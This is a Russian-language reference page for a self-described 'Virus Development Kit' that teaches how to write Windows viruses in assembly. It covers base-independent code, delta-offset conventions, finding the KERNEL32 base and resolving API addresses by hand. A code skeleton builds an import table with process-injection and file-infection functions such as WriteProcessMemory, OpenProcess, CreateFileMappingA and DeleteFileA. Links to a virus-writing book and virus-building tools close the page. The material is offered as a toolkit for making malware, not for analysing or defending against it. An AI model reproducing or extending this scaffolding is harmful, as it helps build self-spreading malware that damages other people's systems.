Virus Development Kit VDK Programmer Reference

Basic Information

В этом разделе описывается основные концепции написания вирусов используя VDK.

1. В начале Вы должны создать проект masm'а, который будет выглядеть так:

;============================================================
;     Options and Includes
;============================================================
.386 ;
option casemap:none
.model flat,stdcall
;============================================================

.code

start:

end start

Во-первых, как вы заметили здесь нет секции данных ".data". Код и данные будут храниться в секции кода, либо в динамически выделяемой памяти. Во-вторых мы не включаем lib-файлы, т.к. адреса API-функций мы будет получать сами. Таким образом, удовлетворяя этим условиям мы частично реализуем концепция базонезависимого кода. Для полной базовой независимости в коде нельзя использовать абсолютные адреса памяти.

2. Вот мы уже создали проект и хотим использовать функции из VDK. Функции VDK вызываются, как CALL <имя_функции>, т.к. masm в этом случае генерирует относительный переход. Помимо функций, почти все функции VDK используют API-функции. Но их адреса мы получаем сами и кладем их в переменные. Из-за этого, чтобы использовать API-функции как угодно, мы договариваемся о именовании переменных в которых содержатся адреса API-функций в текущем АП процесса: Если функция называется CreateFile, то мы должны решить какая версия функции нам нужна ANSI или UNICODE. Если ANSI, то получается CreateFileA, иначе CreateFileW. Далее мы добавляем в начале имени переменной "_". В итоге получается имя переменной - _CreateFileA. Если в какой-либо функции VDK используется функция CreateFileA, то ее адрес она берет из переменной _CreateFileA. Как получать адрес API Вы узнаете из другого раздела.

3. Дельта-смещение мы будет хранить в регистре EBP, если мы не находимся внутри процедуры (из-за того что внутри процедуры EBP используется как указатель базы кадра стека). Если мы находимся внутри процедуры, то  во-первых, мы будет передавать дельта смещение как параметр функции VDK, а во-вторых в функции мы будет хранить дельта-смещение в регистре EBX. EBX я выбрал потому, что этот регистр остается неизменным после вызова API-функций и он не требуется для часто используемых ассемблерных инструкций.

4. После трех пунктов наметился путь: получить дельта-смещение,  получить адреса API, вызывать функции из VDK. Давайте же проделаем это в нашем коде:

;============================================================
; Options and Includes ;
;============================================================
.386 ;
option casemap:none ;
.model flat,stdcall ;
include \tools\masm32\include\windows.inc ;
;============================================================

 

;============================================================
; Code Section ;
;============================================================
.code
start:
    jmp Begin   
include api.inc;Базовые функции
Begin:
;Сохраняем регистры и флаги
    startproc
;Вычисляем дельту
    GetDelta
;База KERNEL32.DLL
    GetKernelBase
;Получаем адреса API для KERNEL32.DLL
    push ebp
    push eax
    lea ebx,[ebp+address]
    push ebx
    lea ebx,[ebp+imp]
    push ebx
    push 37
    call GetAPIs
    endproc
;============================================================
; APIBlocks
;============================================================
imp:
    db 'VirtualAlloc',0
    db 'GetModuleFileNameA',0
    db 'GetWindowsDirectoryA',0
    db 'lstrcatA',0
    db 'lstrcmpiA',0
    db 'CreateThread',0
    db 'CreateToolhelp32Snapshot',0
    db 'Process32First',0
    db 'Process32Next',0
    db 'LoadLibraryA',0
    db 'CloseHandle',0
    db 'GetLastError',0
    db 'OpenProcess',0
    db 'VirtualFree',0
    db 'GetCurrentProcess',0
    db 'DuplicateHandle',0
    db 'lstrlenW',0
    db 'GetModuleHandleA',0
    db 'GetProcAddress',0
    db 'CreateFileA',0
    db 'CreateFileMappingA',0
    db 'MapViewOfFile',0
    db 'UnmapViewOfFile',0
    db 'GetFileSize',0
    db 'CopyFileA',0
    db 'MoveFileA',0
    db 'DeleteFileA',0
    db 'Sleep',0
    db 'WriteProcessMemory',0
    db 'VirtualProtect',0
    db 'Module32First',0
    db 'Module32Next',0
    db 'lstrcpyA',0
    db 'lstrlenA',0
    db 'CreateFileW',0
    db 'CreateFileMappingW',0
    db 'lstrcpyW',0
    db 'ExitProcess',0

address label DWORD
    _VirtualAlloc dd 0
    _GetModuleFileNameA dd 0
    _GetWindowsDirectoryA dd 0
    _lstrcatA dd 0
    _lstrcmpiA dd 0
    _CreateThread dd 0
    _CreateToolhelp32Snapshot dd 0
    _Process32First dd 0
    _Process32Next dd 0
    _LoadLibraryA dd 0
    _CloseHandle dd 0
    _GetLastError dd 0
    _OpenProcess dd 0
    _VirtualFree dd 0
    _GetCurrentProcess dd 0
    _DuplicateHandle dd 0
    _lstrlenW dd 0
    _GetModuleHandleA dd 0
    _GetProcAddress dd 0
    _CreateFileA dd 0
    _CreateFileMappingA dd 0
    _MapViewOfFile dd 0
    _UnmapViewOfFile dd 0
    _GetFileSize dd 0
    _CopyFileA dd 0
    _MoveFileA dd 0
    _DeleteFileA dd 0
    _Sleep dd 0
    _WriteProcessMemory dd 0
    _VirtualProtect dd 0
    _Module32First dd 0
    _Module32Next dd 0
    _lstrcpyA dd 0
    _lstrlenA dd 0
    _CreateFileW dd 0
    _CreateFileMappingW dd 0
    _lstrcpyW dd 0
    _ExitProcess dd 0
end start

Первое на что надо обратить внимание - это макросы startproc и endproc. Я буду их вызывать во-первых, в начале и в конце вируса соответственно, во-вторых, в начале и в конце процедур, чтобы соответствовать соглашениям. Эти макросы сохраняют и соответственно регистры ESI, EDI, EBX, EBP И регистр флагов.

Для получения всех нужных адресов функций необходимо вызвать функцию GetAPIs.

Функции требуется адрес блока переменных, где будут храниться адреса (имя переменных должны соответствовать соглашениям) и адрес массива строк с именами нужных функций. Также мы передаем в функцию количество функций для которых нужно получить адреса. С помощью GetAPIs можно получать адреса не только из библиотеки KERNEL32.DLL, а из любой другой. Но из KERNEL32.DLL функции нужны всегда. Например функция LoadLibraryA, которая позволяет загрузить новую библиотеку в АП текущего процесса.

5. После получения адресов API-функций можно вызывать функции VDK без особых проблем.

VDK Programmer Reference

Описание функций и макросов

Examples

Примеры использования функций и макросов VDK

"От зеленого к красному"

Книга о написании вирусов для Windows от автора VDK

Documents

Документы необходимые для создания вирусов для Windows

Tools

Программы, которые Вам помогут

About

О Virus Development Kit